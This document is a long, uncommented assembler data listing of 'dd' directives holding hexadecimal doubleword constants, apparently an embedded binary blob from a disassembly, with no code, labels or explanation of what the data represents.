dd 0E42EB00h, 0A4D38DF1h, 0AFD4075Eh, 806DF92Bh, 60CE822Dh
dd 22C9B000h, 0D7FA4866h, 6CA409FFh, 0D007761Dh, 60EA2038h
dd 2200E7BFh, 74FBBEB5h, 945D5DCh, 71DEA964h, 0F3B75801h
dd 2CD240EAh, 0FA24756Ah, 68008C79h, 58BC7F97h, 0D8356024h
dd 0B77510FCh, 0DF3D009Ah, 1DA400EEh, 0ACECB22Bh, 0F0930004h
dd 222831B7h, 28C00F6Ah, 0E02C6EBh, 782A7F84h, 18360094h
dd 3E42802Bh, 0BF305B31h, 0FBC8F877h, 0FDBB09Dh, 5BA2068h
dd 2BCB023Dh, 50601706h, 0B43C7633h, 9309809Eh, 0A16A53B8h
dd 22EE0144h, 0DEF4762h, 944BC1h, 0A44AC5A3h, 283A31E5h
dd 39E22B81h, 0F7338426h, 19E009BEh, 20F90690h, 4E02EFD0h
dd 0B00E6B60h, 0C36068A7h, 315500E6h, 69D00DDCh, 50742B4h
dd 950419E3h, 0AC621E50h, 63C2DE1h, 4ADD2460h, 187CD803h
dd 0D3EE254Bh, 0BD7A99F0h, 7080F03Bh, 0C6D69E00h, 464F9123h
dd 0C850EAEh, 0BB005CECh, 8E90D1DDh, 96FACD1Fh, 947AC340h
dd 0A28025h, 604D1EEDh, 75F774E2h, 84F85Ch, 0C9218BA1h
dd 0FC8DCCh, 2FB90853h, 0C47601D3h, 99E3405h, 24200BDEh
dd 979B4Dh, 0C7050EE2h, 0B56CAD81h, 98FBE100h, 8EA45A08h
dd 47A601BDh, 551C0D75h, 0E3398181h, 37B927DDh, 9AFCD88Bh
dd 0C33DCF81h, 0CC4189ABh, 0D4E00D0h, 0F8D278B8h, 0ADCA0356h
dd 4A418A7h, 0FEFD508Fh, 0D5F4D833h, 0E0F58700h, 0CEB62ACDh
dd 0C45B01F1h, 0E22899A3h, 44A8F479h, 65C17600h, 17509227h
dd 373F00B9h, 47F6CCA7h, 1203FBB8h, 0F7A26D03h, 0C2FE00B0h
dd 43CA6976h, 0F1013B72h
dd 0D633A660h, 1BDCEEF2h, 0FEF51EE3h, 0C3725DC3h, 5E598FFAh
dd 0A0D9EBD0h, 38EE8400h, 4954A9F0h, 39B000BFh, 95A7B3B5h
dd 0C300094Fh, 2F7544B2h, 7B5B1B4Bh, 0B43D0FAAh, 98094EFh
dd 83DBA55Ah, 78BD5E1Ch, 5482EA80h, 7643F8h, 3330082Ch
dd 6007B747h, 0EE9A8901h, 3E01C9BBh, 0EF2E9D4h, 20CE723Bh
dd 0BCFBC4C0h, 673AE6FDh, 9200F317h, 0DE4B5457h, 90631A52h
dd 1B78C000h, 4E3A3FD6h, 0DB03407Ch, 55C94A8Ah, 0DD2D9852h
dd 6102012Bh, 87B05BF0h, 8AEBF4FBh, 1F283400h, 5809FC72h
dd 206B0E7Ah, 3B003575h, 4EB0BDDEh, 0C02D5F00h, 54D505D4h
dd 0C8B09E4h, 1010D113h, 0BB1EE193h, 0FC8291DEh, 809CFE55h
dd 5C232B4Ch, 14100F17h, 0C200E27Ch, 3835A986h, 0C8F11800h
dd 0AB17AA6Eh, 43FE3Eh, 0D091DBBDh, 3830F22Ch, 36B9631Dh
dd 73B08F43h, 44C1D25Bh, 28FC0164h, 0C07C96A3h, 0C2D02005h
dd 0AFE7AB00h, 0FC893F9Dh, 0E35F1D9Bh, 293B405Ch, 4BF334F2h
dd 80F11301h, 0F6CE79Ch, 0A45058B0h, 53018F97h, 0F18DBF05h
dd 56E401DBh, 9A80A04Fh, 0D1C7242Fh, 48583084h, 3CF23818h
dd 2500B090h, 0A99A8E3Dh, 0EC5E65C5h, 6A1837F1h, 192D17CEh
dd 211F8400h, 9B020E2Eh, 795922EDh, 0AD7AC04Ah, 0D2670ED8h
dd 0EC037B5h, 48E53106h, 35BC5050h, 3A324400h, 0CB6CC2AAh
dd 0F439488Ch, 1D1E27C1h, 3721048h, 2A670226h, 5B6B02BEh
dd 58EE9F60h, 8D20E504h, 71C09C74h, 0DFB85Ah, 0EA6A76D5h
dd 8167D368h, 65BBCE03h, 0E08ED86Eh, 94E7C10h, 35FADE8Ah
dd 5C331800h, 3700B096h, 4514EF01h, 4FA688h, 320CE13Eh
dd 8190CF1Ah, 0AC86EA06h, 206AF4h, 0F09C3FD5h, 0B7E6632Dh
dd 3BA17E07h, 288DDAEh, 6118276Ch, 0E4FD9FC0h, 39B830Ch
dd 0FEFB5025h, 0F49096h, 8733A243h, 817B6255h, 140C6D00h
dd 0ADE39523h, 0EFC70051h, 0BEE57E98h, 24003884h, 784EFE8Bh
dd 451A3Dh, 2BE1499Dh, 892867E3h, 0C49A2201h, 464C382Dh
dd 3B120h, 71BD3491h, 8FDC8280h, 0FB366900h, 0B25A7361h
dd 2D3B001Ah, 0D9B415D6h, 0A000F95Eh, 0FCE00CBDh, 1DB13E77h
dd 410ADB46h, 0D2B4EF54h, 0F7572043h, 4E23D31Fh, 0BD145240h
dd 6527FBh, 9CE23FB3h, 0DE26902Ah, 0CF87F200h, 0CE147ADCh
dd 39CC0A93h, 202F85h, 0F43FE263h, 20037555h, 0C8A261F8h
dd 16E4F022h, 2D260188h, 6A21ED04h, 0D698F320h, 141C366Eh
dd 5580ADF5h, 2818B764h, 4B50C0F3h, 2F0AF719h, 0DEC3DD00h
dd 981A388Fh, 5B801C3Dh, 0D9EA8099h, 0E6344B1Bh, 5FBD7B0Fh
dd 0FDEF43E5h, 0D03FC83Ah, 11E26116h, 0E441552Ah, 0A200382Fh
dd 1CBFB7D8h, 1DE01EEh, 35CDE992h, 0E402452Eh, 0F9C3ED13h
dd 0A8E74AB3h, 0E66B84h, 2069B70Fh, 9CD48199h, 0A3A2EF00h
dd 6B5CE5F2h, 0A97900DAh, 28376805h, 0A50A9E54h, 90848B65h
dd 98F89780h, 82A69Fh, 0DC2F143h, 0B9BA4F3Bh, 3223DE09h
dd 0AABC00EDh, 3A2B27ADh, 0B400851Fh, 3BEE458Ah, 0D80E95F0h
dd 60227442h, 0D5992EBDh, 0D259005Ah, 24348841h, 3F289031h
dd 65077440h, 796ADB9Dh, 0EC00AF35h, 0E9968962h, 368A4C2h
dd 0B698D549h, 779083CCh, 0DE0BB89Fh, 108245h, 8B4B32DBh
dd 79B63C66h, 8084069Ch, 0E50C4FA5h, 0C102FBC2h, 1903A744h
dd 65BC8182h, 8CF8BF63h, 0EA510FCCh, 2B454CCFh, 6D43452h
dd 99296A86h, 0B9F6EB00h, 3DD10EBEh, 0D4D50126h, 3FE7A61Fh
dd 0FCC85811h, 4247D603h, 0A0DE7A1Dh, 0ACFF91Eh, 87C72559h
dd 0AC1200D4h, 9F07B15Eh, 74491300h, 814BA604h, 7C745Ch
dd 98D3592h, 0AECFBCA7h, 299B4705h, 0D868A2D7h, 0D5778Fh
dd 0E0B1A08Eh, 2A684BB3h, 1E0F8000h, 83E9E2C3h, 70F40F66h
dd 8D6C2F05h, 0D40B67C8h, 882AB8BDh, 3422CCD1h, 0A1309D00h
dd 0AC21B71Dh, 20711747h, 6BB90B90h, 0ED2FAA83h, 0E1F8903h
dd 9052C5A4h, 2262C1h, 469F5869h, 0FBD58AC8h, 0D9066800h
dd 0C0959021h, 2CA9012Eh, 25A76ABDh, 0AF7C20FDh, 740E28F6h
dd 0C92095F3h, 0C4AC0AF5h, 6231C300h, 308EE730h, 84E98186h
dd 0FD1F181Dh, 3CAE2E39h, 0A596A707h, 12CD85Ch, 5DB2FB86h
dd 0E8846CA1h, 0E4071728h, 36A69449h, 0C880EBB7h, 28C0E5BCh
dd 42CD93Dh, 9F52A3A0h, 75C88082h, 5030B0F4h, 0E485E8FEh
dd 260F1F29h, 64646Eh, 52F47B02h, 0A1000DC1h, 23819D77h
dd 0CEAD8BFEh, 90B87378h, 19D19550h, 359700C4h, 0EED8F3F5h
dd 0DAA907ECh, 0F9BD152Eh, 50F4400h, 897A4A64h, 0A5F5AC00h
dd 5EA6A192h, 8D8C0028h, 0DE4291CCh, 391F416Eh, 946EF52Ch
dd 70B17F8Dh, 9809C2ECh, 0E9A00178h, 0AAA22E5Ah, 346420A3h
dd 2CF60700h, 2D03D2C3h, 13F47433h, 40CE4DB5h, 84C7DB08h
dd 0F7424B90h, 25238F00h, 7439DAABh, 6C005890h, 940A607Ah
dd 780CDF77h, 0C88700DEh, 8851E23h, 80F3436Ch, 56EAFE38h
dd 78642EDBh, 140200DFh, 9CF7A21Fh, 0B498B34Bh, 0A51A81FFh
dd 647D5D37h, 501349C8h, 0ECCBCCEEh, 0BB3C012Dh, 29D69C4Bh
dd 87FAC804h, 0C7B5A500h, 0C880928Dh, 0B3393C9Eh, 56DE9D0Fh
dd 362A5DE0h, 0CB005542h, 0A60F2568h, 5EB85B2h, 0C22DF3Fh
dd 0E4A4283Ch, 0A452EA09h, 7488043Dh, 220A008Bh, 3E90C13Bh
dd 0E87F7780h, 8B463C80h, 0E42032FCh, 1C8C07h, 1FA5994Fh
dd 4EB1A2A0h, 6A83F603h, 0B20BC61Ch, 8CC84842h, 8B010966h
dd 8006F248h, 0C8A19946h, 0A63064DCh, 483F1301h, 508AFDD7h
dd 0D32EC8h, 71EB7627h, 41A32F8Ch, 7E0D2B07h, 160547CCh
dd 4247880h, 0F5F003CEh, 0E3BFC3BEh, 673CE94Dh, 6FB0DA68h
dd 73162DADh, 0C0AC040Eh, 0C0F91C4Bh, 0F021F558h, 4EAF040Ch
dd 0E3D8FFh, 0BC673D3Ah, 0A41E692Dh, 718FD60h, 4D398F06h
dd 2602E8BBh, 1BC1AB9Ch, 0EB0EAA60h, 6E01AA13h, 0E75DAC40h
dd 0C12BB667h, 4DB3FC88h, 0A99C243Fh, 4C4E9824h, 0EA73D800h
dd 36803C0h, 9DB62BC8h, 0AAC84982h, 0AD0739C5h, 0B7D579EEh
dd 6CD9FDA1h, 48677AF0h, 362C0C8Bh, 9B6B8928h, 84923300h
dd 0F300346Ch, 26955A2Ah, 0D47541h, 8D550670h, 728ED24Bh
dd 433A2D00h, 0FC8591CAh, 0BC1B00C0h, 0D02D10Fh, 0AD799C11h
dd 4F8BBE00h, 1C8C9436h, 0C5DD03FAh, 0C96C8599h, 27583BA8h
dd 0BA95C309h, 89788470h, 67FCB4C0h, 5B551DF2h, 7B5700BDh
dd 0D09EFE26h, 0D0FA9339h, 8B09B8A4h, 143B9218h, 28C10028h
dd 7625AA5Dh, 4807C618h, 5AF0D924h, 1273EBC0h, 0CDFEEFh
dd 7BDE470Ch, 0C3F18C4Dh, 10870F00h, 351E9126h, 6AC0B763h
dd 1800787Ah, 72DD5631h, 5CF748D5h, 33046830h, 0C05B507Fh
dd 0C5C1C86Ch, 4EBEDF1Eh, 29897682h, 9A4E674h, 0B6DE3824h
dd 394BD000h, 0DC05CCFDh, 0CA8F8E71h, 80AF5092h, 722ABDA4h
dd 8C24DF4h, 0B6B13600h, 0E06BFEE1h, 0F0051A79h, 0D2163915h
dd 835A6CC2h, 0C01CA8FDh, 0B0BA0F3Bh, 0B0EC139Ch, 9AA8402Fh
dd 0A1377926h, 2054B900h, 8F96D987h, 14329D1h, 8C0792DCh
dd 2200E020h, 41757CB6h, 0B44A80h, 0A2A23FAh, 0C0C5D248h
dd 0FCAA442Eh, 86D4FE00h, 285085Fh, 75B01D82h, 0C0C1C0C4h
dd 92B5F8E8h, 0BA5Ch, 4B0C1B8Dh, 91FDDF24h, 22C82C9Ch
dd 900C9880h, 20CBAF4h, 0A38D9264h, 0E4E67165h, 0F8E1B8A6h
dd 2B03AD07h, 9B46DF47h, 5F2091B8h, 16381C20h, 0DB3ADCh
dd 0AF61E9CEh, 8200E8B3h
dd 846FE2A0h, 18384E72h, 27C2F95h, 0D9091C12h, 8A4B36h
dd 80AC24B0h, 0FCB1B7h, 9AA5F46Ah, 0D3025E95h, 359DB54h
dd 0B59880A4h, 0F339308h, 837DBC5Ch, 44769FE0h, 6006EA6h
dd 0AC8D234Dh, 16DFD165h, 202A30ECh, 0EDF4858Ch, 0A390EF50h
dd 2FE39B00h, 0C40A3543h, 8F6F0632h, 69E12277h, 317FF200h
dd 96BD5AD3h, 299401C0h, 0B845EEABh, 0C0C8326Bh, 691701F7h
dd 2630B872h, 40E0BF47h, 19EDA60Ch, 1558AE67h, 6B3BDC51h
dd 71DCABD5h, 30F54B68h, 0DD1A4E10h, 0FF30561Eh, 9901359Eh
dd 2DBDFBBCh, 0C59CA062h, 60F56967h, 0D82949E8h, 8D0A4209h
dd 250C1C77h, 14A30576h, 4400A0A6h, 561C8A99h, 131653A1h
dd 400C0542h, 818F49BCh, 804DB3C7h, 0CD151F60h, 683C70B2h
dd 4D1CC100h, 80DD105Bh, 82F2DE54h, 5A05774Fh, 2E56C3ADh
dd 3B1D1C70h, 220E0045h, 0E7F330DCh, 550C2914h, 184D238Eh
dd 0BAB00271h, 0B77853ABh, 0BC720BC0h, 15AAF00h, 8084A7BDh
dd 59481842h, 0C731E8ECh, 7C047600h, 40D79733h, 0DBD400C6h
dd 6D359452h, 545CD2E2h, 0B822E0ACh, 2566FE65h, 0D0B07430h
dd 8100107Eh, 0FE54F02Eh, 53D94F7h, 0A090BF07h, 44FC0076h
dd 0C7D1DDB5h, 36BDE304h, 0B4C0E7D8h, 46EFBE5h, 1B205A56h
dd 0D37C90F2h, 6D0368ACh, 0BC1F104Dh, 7665E8E9h, 1DF3012Ch
dd 0C50A1E59h, 0B39BE8A6h, 14108549h, 70AFFB6Fh, 0BC3FAF73h
dd 3670AE91h, 802BB409h, 0A9A61590h, 0E20D0448h, 0C18A906Eh
dd 9741543Bh, 30423988h, 0CE4FBEh, 0F22C9A40h, 0F058F0B0h
dd 0E43E0024h, 81C89BBEh, 2AFEEAh, 64C1A58Ch, 42E3ED34h
dd 0A100E89Ah, 8FEEC91Ch, 4CE8FD74h, 0E900ACC4h, 397E5806h
dd 100361Fh, 0E098BE44h, 489EB0DCh, 1EA020E7h, 5C901A3Fh
dd 5F914504h, 38958FD7h, 975760C1h, 0A760E300h, 3A31513h
dd 7898388Dh, 31C72619h, 14B23316h, 0C48AEC61h, 808008C6h
dd 535FF1A2h, 5600643Fh, 0BF57A6Eh, 605BFAFEh, 71F1E0C6h
dd 10373AD2h, 0A761433h, 5529020h, 37E7489Fh, 3816C047h
dd 790ECF6Bh, 43176CDBh, 0E8152831h, 198DE5h, 0D88202A0h
dd 40C9724Dh, 7E22C00h, 0B5D2C31Fh, 1E550080h, 2787F15Ch
dd 9005F94h, 2D8CEB2Ah, 24320742h, 38C37Fh, 75AF0FF7h
dd 4300A8ABh, 39644C68h, 871B78h, 0E00B7CB8h, 0B3D1BF6Dh
dd 4DF20600h, 868E599Fh, 3B2000D2h, 0FCB0838Dh, 84038F3Fh
dd 87FFD65Eh, 298C8098h, 0CE361C7Ah, 66A70DCBh, 0C938C459h
dd 0FDA26000h, 7A2546B9h, 947F300Dh, 4AE62BB8h, 0D3541400h
dd 8DAF36BBh, 13AD0CC3h, 0DED4EB4Ch, 2F1F6F00h, 25349D26h
dd 5DCF180Fh, 990B03Eh, 0D1007FF8h, 0FD99029Ah, 11E36F8h
dd 7EEA5DF5h, 48B3A761h, 4D686A98h, 0EE409048h, 0C3BA530h
dd 0D753CD38h, 54ECF1E1h, 60850F30h, 0FC872110h, 23223067h
dd 0A7206620h, 385ADF00h, 0AC2B4C91h, 0B874D2h, 0EBA304C9h
dd 0F6CC477Ch, 0E3D98300h, 0CF35ABC2h, 56872AB7h, 33E00098h
dd 2FEF9495h, 8C14A6EAh, 0A0EED0h, 4DE8E12Ch, 594E7Eh
dd 0E6ACA9Ah, 2DF65BC6h, 41E4A500h, 178B8188h, 0C2B63049h
dd 2B3D5450h, 0FEBCF550h, 99C08671h, 4F83CF6Ah, 72F0C056h
dd 21D63087h, 0CED54A01h, 611AA371h, 6AA0C447h, 592C13h
dd 33A0A5B9h, 0B4113F49h, 4D282702h, 445D0A93h, 0D3A9C04Ch
dd 24995391h, 826AF03h, 0B85F424Ah, 19C8CFC9h, 10EA1DE8h
dd 0A8D4506Eh, 74011C88h, 0B8DAB384h, 1EF1DC7h, 4FB97A81h
dd 40D7A636h, 63505C50h, 0F461CC00h, 0BA480817h, 4CCCA80Dh
dd 4BED1474h, 0A10C80C1h, 420C20FEh, 0BB00A67Fh, 0DD50E96h
dd 0AF07DC3h, 84D9CF63h, 0C1391FD4h, 0FA7A9EADh, 7D8C405Dh
dd 0C9282349h, 7209F02Eh, 110C5D4h, 6BDE9583h, 52D7A080h
dd 732D3322h, 98241371h, 803DACA0h, 57DF159Eh, 672FC7h
dd 0A1FDFC4Ch, 0DC0465C1h, 0C23A017Dh, 6F9783C0h, 88383713h
dd 0D9779Ch, 29A1F506h, 71B36EECh, 70162600h, 5DFD3F1Bh
dd 9F54B7FCh, 1378030h, 0A4780214h, 0DB92F413h, 0C9572890h
dd 5D31A700h, 3C0BEDBFh, 9ED6008Dh, 2B90C0EEh, 3E24E14Fh
dd 56006ECEh, 8C5EAFD7h, 4DB61966h, 5A8F7964h, 80CC3B78h
dd 4E15EBF9h, 1BEAACh, 60A1D5C5h, 0CC722B82h, 140ED67Ch
dd 0E10A28C6h, 70F43FB8h, 0FA623C0h, 0A2052F45h, 0D6E0FDCFh
dd 0E66771ADh, 33081900h, 0CFA18BEBh, 0C7151756h, 2E00AB6Dh
dd 44F51360h, 628C13D3h, 0A1C400D2h, 0C6B9E25Dh, 27815801h
dd 0BB70B303h, 1EAE7C20h, 896C80B4h, 1C1076DAh, 0AF003EC2h
dd 0E52A0A9Ch, 0ED12EB90h, 0BDAA9040h, 78FF1D7Ah, 84D80056h
dd 0E137727Eh, 6AF36C00h, 3E7B63EEh, 6EEF037Ch, 0B4663668h
dd 60C891B1h, 0BA0F212Bh, 62CF96ACh, 4181F06Ah, 49A9DBCCh
dd 35925Ch, 0C64A3A98h, 0DE54B6ABh, 710AD1D0h, 0B88A9E4Eh
dd 5C76E200h, 8364BDh, 87BE74E1h, 630297DFh, 7840D0AAh
dd 400F9E8Bh, 9E517FDAh, 0A97B4F40h, 127CCBF6h, 5E05A6h
dd 1C144868h, 7D09FE42h, 2259C282h, 213C4770h, 0FE387BA4h
dd 7D44D487h, 348CC8C9h, 56D37700h, 0A89584D2h, 0C2CD405Eh
dd 11FE9D02h, 412F6E8Eh, 18DC3594h, 0D785027Ah, 4E962EFAh
dd 5AA4AF40h, 75706BF4h, 98A0EEEEh, 1800ACCBh, 1560DFF4h
dd 2B876EFh, 0B18250C4h, 44C8B291h, 18025C3Dh, 0B8A91DCCh
dd 5D044FDh, 3F577253h, 7CD41451h, 4A6AE181h, 0BC16D02Fh
dd 44C87400h, 985AE1Fh, 3E9A00D2h, 0C2374626h, 0F900BC69h
dd 23896AA3h, 10CD597h, 0FB8D2E77h, 9F75636Ch, 55C92681h
dd 5C102022h, 4CD2FB5Dh, 0A212845Ah, 38D40EFAh, 8DCA1540h
dd 0BE00AA4Fh, 767D9C08h, 5DDCE5h, 202A31D2h, 13662CDDh
dd 9049A700h, 6D793958h, 87F600AFh, 0A4473F0Dh, 1A13BF12h
dd 2440A8BDh, 0D7DECFB7h, 942F0055h, 0E149BA4Bh, 7B0051F9h
dd 0A82AD536h, 4C7485h, 91DF4373h, 3D93152Bh, 0DAAE0E01h
dd 4E5E5D99h, 4A7A453h, 0FA4B7220h, 4A0C90A6h, 7400F375h
dd 474F6628h, 3E7F1Dh, 0ACD28B72h, 9F14E2ADh, 1CA6A202h
dd 0C0819B48h, 163A6D60h, 23C09Eh, 5AA84430h, 0CE04A78Ch
dd 6CFCECB2h, 0E0206081h, 482A4C34h, 0A494807Bh, 803724h
dd 0F5777C3Bh, 2D244C32h, 8F800C38h, 0B97B8210h, 0A0B748E9h
dd 0C4542041h, 0B51DD881h, 44895D8h, 0E8944D3Fh, 71408121h
dd 5B6BFCD4h, 0E7770307h, 80FB7D42h, 2FFD9D04h, 7131007Eh
dd 0A05E6F81h, 2009533Ch, 0A09B0EEDh, 4CCDFBF4h, 6C0806BCh
dd 0A83834F9h, 0C3AC8859h, 4CE1B3E5h, 7D0464F9h, 0C0473264h
dd 79A960C0h, 0CE1CA101h, 588CB7CDh, 0F4C1AC4h, 9A05E1CAh
dd 7FC05463h, 306E1491h, 9CBB198Ah, 89D42D0Bh, 0F3D0A1F8h
dd 48FA75F9h, 9806150h, 5C2C3C43h, 95AAD410h, 0AC691629h
dd 59CDD887h, 4CF0D157h, 58961D7Dh, 660078FCh, 46D4493Dh
dd 0BE0BC9F7h, 0A52ECEEFh, 6CC191C8h, 28806A98h, 516F4726h
dd 571C85A4h, 0E4AB8981h, 45B8F480h, 72778D3Dh, 18817BA8h
dd 180774DCh, 803994A1h, 8BEE0041h, 0F8DD9216h, 26D500EDh
dd 2839BC3Ch, 4B007C68h, 917A64BEh, 3C3DF7Dh, 0EE8D5599h
dd 6BDB4A7Eh, 948038B8h, 6DD88300h, 0CA998BDEh, 69A90042h
dd 9CBD36C5h, 3700A824h, 0FF728883h, 14FCE39h, 94EB13FCh
dd 0C5574E19h, 0AA0E480h
dd 0A585DCE9h, 1FE5F400h, 0E4A461C9h, 8D930E30h, 0B06367FAh
dd 0A1D1DAEFh, 0DFE1D29Ah, 11047020h, 0BEFE4000h, 3A57DC09h
dd 0A48E1F0Bh, 1E88C36Ch, 8F80B898h, 0DB006911h, 1FB504B0h
dd 3BD37ADh, 4B608AFBh, 0BEA0E941h, 5900AE14h, 0D285D655h
dd 3C0744h, 0A00D6DF6h, 9FA8CB4h, 9DC19F1Dh, 0A8DCB94Ch
dd 9A280114h, 0E288646Ah, 0B2CBD777h, 4B48BCD0h, 730E8476h
dd 403F555Ch, 43C1E6F2h, 5FE3010Dh, 45FE667Fh, 118EF0D2h
dd 9A3038h, 0D99C42BBh, 7406174h, 9268F17Fh, 7252E0C3h
dd 0BB000C17h, 524A07Ch, 466DB9h, 0F5074E06h, 20B41680h
dd 0FFEEF907h, 80EF24CCh, 7D52901Ah, 0F1011CBCh, 1221C014h
dd 0FA42DD6Dh, 2825A80Eh, 0EDB3808Bh, 3339B4h, 3AFD82AEh
dd 9124EEAFh, 53C22F07h, 0FAC05C51h, 244ABD75h, 1755F9h
dd 2DA6AD5Dh, 815C4326h, 8A191CA7h, 185C400h, 397A61F2h
dd 18F088F6h, 300A14DCh, 8A0656ACh, 0B5399385h, 752A04C0h
dd 809E97F7h, 4B2789A9h, 84C02B54h, 0F4084300h, 2E25D82Fh
dd 0C6536E81h, 0E33D3E1Ch, 0ACB26380h, 0FAB5CAFh, 744CD004h
dd 0E8809472h, 95DD92Ch, 0FD01BB47h, 0FB84E080h, 1E160B15h
dd 760278FAh, 0E066DBB5h, 30C664E5h, 0A8615A1Ah, 0BC38300Eh
dd 0E110606Dh, 1DB148B3h, 803904EDh, 24AE4B99h, 0D47ECAEAh
dd 9AF5E00h, 72C9B4E8h, 2CD11EDDh, 0FC9341E7h, 0F74AB092h
dd 0C168FC00h, 3886C37Dh, 7290AEh, 6D33BE79h, 74134BFh
dd 0C272C700h, 89DD8E3Ch, 0F5022421h, 0DE2E00A4h, 14C40E85h
dd 0CE4FA00Fh, 0D54EC1ADh, 68801181h, 45E483D1h, 0F703335Dh
dd 0A1FA60BAh, 0D003A0F5h, 0E5ED0025h, 0DBDEC84Dh, 9F076904h
dd 2DF31D49h, 0C66529F0h, 58640371h, 0DF7A98C7h, 23638988h
dd 30886900h, 42C1E9A3h, 819D0031h, 912CCC72h, 78FA6399h
dd 8110A63Eh, 0B80F0ABh, 62B24D6h, 88B80EA6h, 3DEA2060h
dd 78D27AC9h, 0C8520113h, 0CFB899BDh, 96B7D8C0h, 0ED06101h
dd 94241231h, 76D7AC47h, 0C2B9F4C0h, 0B19A00A8h, 6E5868E7h
dd 48F24667h, 0B440F72Ah, 0D2AAE104h, 3C81D69Dh, 0CAD84713h
dd 0CD3E0745h, 2E306B89h, 0E8D16900h, 0FC00B3FBh, 1B14106Eh
dd 6C73193h, 78C23F11h, 90005144h, 4157EB8Bh, 1E7E8247h
dd 4119608Dh, 63FFAD1h, 1D40B953h, 877B50A5h, 59287A90h
dd 0C56A58C0h, 0CBAC1414h, 0E100BC4Eh, 0CEB3D589h, 760764A0h
dd 0FC5F7711h, 2F0D5820h, 0B10701B8h, 0FBA42BBEh, 8FD84C02h
dd 63CC50Eh, 0FC86FE1Dh, 7A12CD4h, 0AB05B0ADh, 0EB78E031h
dd 66281806h, 9A009CDEh, 0C97C488Ch, 9B570EDh, 3412C187h
dd 30670C27h, 23EAF61Dh, 0C8D1B428h, 28ADDA00h, 0B1BC063Ah
dd 0E04F00AAh, 5B8106Fh, 0BD00DB97h, 40E20C96h, 14D5774Ch
dd 87BBF478h, 3A232900h, 0CA9C6936h, 73FAFE00h, 0B6F914ACh
dd 903FE884h, 2CAA0040h, 0C65A5CBFh, 6C02F8EEh, 1C5973F2h
dd 91509178h, 90EBF085h, 27B00469h, 0C220C17Ah, 0E431D89Bh
dd 0AB0016F6h, 0F1A02DC9h, 7C6791h, 0A55D1424h, 0D3BE3008h
dd 906073E6h, 82F73EC0h, 2C7C1444h, 20A4AC03h, 0B519B934h
dd 0BDAB4A03h, 0C06F48F5h, 9B43888h, 26C72FC4h, 0C0812184h
dd 0B697BB00h, 0A1D7A505h, 706001D3h, 30914B63h, 3106622h
dd 0B618C813h, 0E4E0D0EBh, 1C541D4Dh, 0BA2500A1h, 0A98E8648h
dd 0F1B43600h, 1042D070h, 944E14B9h, 770B0FCh, 31C3E6CAh
dd 2E2A177h, 0DC69F9EFh, 25985D8Dh, 17E77E00h, 3AE34CF3h
dd 9B1E0082h, 415EE83Eh, 0B5C7B1h, 0A3597F6Ch, 0A62018Dh
dd 0E0E97203h, 8F22E0D7h, 90086F8h, 0F2AA3FF6h, 7F93317Ah
dd 0AB013E67h, 18695500h, 0C15D8E6Dh, 0AD5CE903h, 7AFC2Ah
dd 0C7DA0250h, 82D76803h, 1F6CC51Eh, 7F1BD440h, 0B9D14Fh
dd 8F8ECA3Fh, 2FEB5D6Fh, 0E4699100h, 9F371E28h, 1017FADCh
dd 0E4E5643h, 0C0404BA4h, 44866504h, 11CF00A0h, 370BBDFEh
dd 8300AC48h, 3CBACE7Ah, 1D7C23C5h, 8052FD95h, 0BE6EAE32h
dd 4D00B072h, 1B9ACDEAh, 48F621Ch, 0F6E384DDh, 60A1C05Eh
dd 90A192E9h, 24ABC0A5h, 5D867C01h, 52E8F940h, 0B0762182h
dd 9CA0630Eh, 0D42F5010h, 444F9400h, 9276E0A2h, 244A0F8Fh
dd 0C03D1823h, 0CB5B67E4h, 0B9015A57h, 209D33AAh, 73302DBCh
dd 137902C2h, 0E3B2A462h, 0EF088480h, 0A00020B9h, 8364FE86h
dd 0FC040C99h, 712C2B80h, 0A1983040h, 80073068h, 37209E61h
dd 5D0CA650h, 0D6B2005Ch, 2BD5A46Fh, 74A0930Dh, 4D2B2F8Ah
dd 6C08C077h, 40F847D4h, 0FDE54476h, 827E3C2Eh, 7399C601h
dd 0E2D0FBCAh, 0E32900E6h, 5B8ADF80h, 0F01C561h, 459762EFh
dd 0A08377B0h, 49B87FA8h, 386AC964h, 9DD1D480h, 0F6A33037h
dd 998884C9h, 266CC200h, 4AD42EB1h, 0F5AE00DCh, 9D8C5B2h
dd 6700827Dh, 1E94EE15h, 2474C783h, 8E38D72Ch, 7720AA24h
dd 11481B6Bh, 0BC004C71h, 0C50A93D4h, 0BF05D6h, 4E65FA06h
dd 927A75CCh, 0DF9B2C00h, 310DC742h, 66E70E6h, 338FFB90h
dd 0B6EA6832h, 0DA34D800h, 17D36D5Bh, 3B5E3E4Eh, 608C0824h
dd 2D527D80h, 74A4F100h, 1D137B9Fh, 0EDA33FF8h, 4504E300h
dd 11CD1FBBh, 2B0EDCA6h, 808E197Ah, 0D24BCED8h, 0EB300033h
dd 5A23C314h, 37079B59h, 0F37816EFh, 98E03ED7h, 0A8838E0Ah
dd 7DFDD8h, 0B55A6BABh, 6A7BBBBAh, 0A4D48200h, 0B9F10A86h
dd 0F3E20185h, 90B74752h, 5D94203Eh, 5E9B8C04h, 5083CD1Ch
dd 7DF2A883h, 27B50131h, 2D56C71Ah, 0AC283010h, 7849C303h
dd 28A87Ah, 594F80B8h, 41A65647h, 389EF301h, 4AF2AD74h
dd 1A0AFCh, 0A76BFA0Dh, 878DDBFh, 0C3B0FB00h, 1B4A47DBh
dd 0F55B0FCDh, 0B960F6E0h, 2322D702h, 95063501h, 0EA18D56Eh
dd 22FDAD4h, 5E17BA8Dh, 8C48130Dh, 9607A85Fh, 40508201h
dd 0F47C98D9h, 37970339h, 4A834D62h, 0C09A3AF8h, 64358400h
dd 525A2428h, 59DD6063h, 364F6CC3h, 7669AB12h, 60E95C00h
dd 0E72D89h, 68771496h, 3F480D08h, 92B7D900h, 3A6D8709h
dd 30FE888h, 77C2ACF8h, 0D6D076E3h, 660068C0h, 0B907D93Dh
dd 585E1EC5h, 6700FCE6h, 9E9A27E8h, 0D7907CCEh, 0C279F500h
dd 529D6954h, 0FFCD14EEh, 0E0078C77h, 198CF1DCh, 4100840Fh
dd 9B8171A3h, 0C0B74F2Ah, 0DF0C100h, 4320DBBCh, 7256007Ah
dd 0FFA785F7h, 952890CAh, 14906C52h, 73971300h, 0D6C27FD3h
dd 6EB849h, 16CE946Dh, 5E7922D8h, 0E06DDC99h, 241177F0h
dd 0BE648043h, 1CE3BA50h, 20EE71h, 3522D30h, 9B587D67h
dd 3B0D09EDh, 2A9C00F8h, 0C5388Dh, 3C913029h, 8EE4CCD7h
dd 1F0A81E8h, 0BCEDF780h, 0C861BB02h, 0CC4C4021h, 24F75DCh
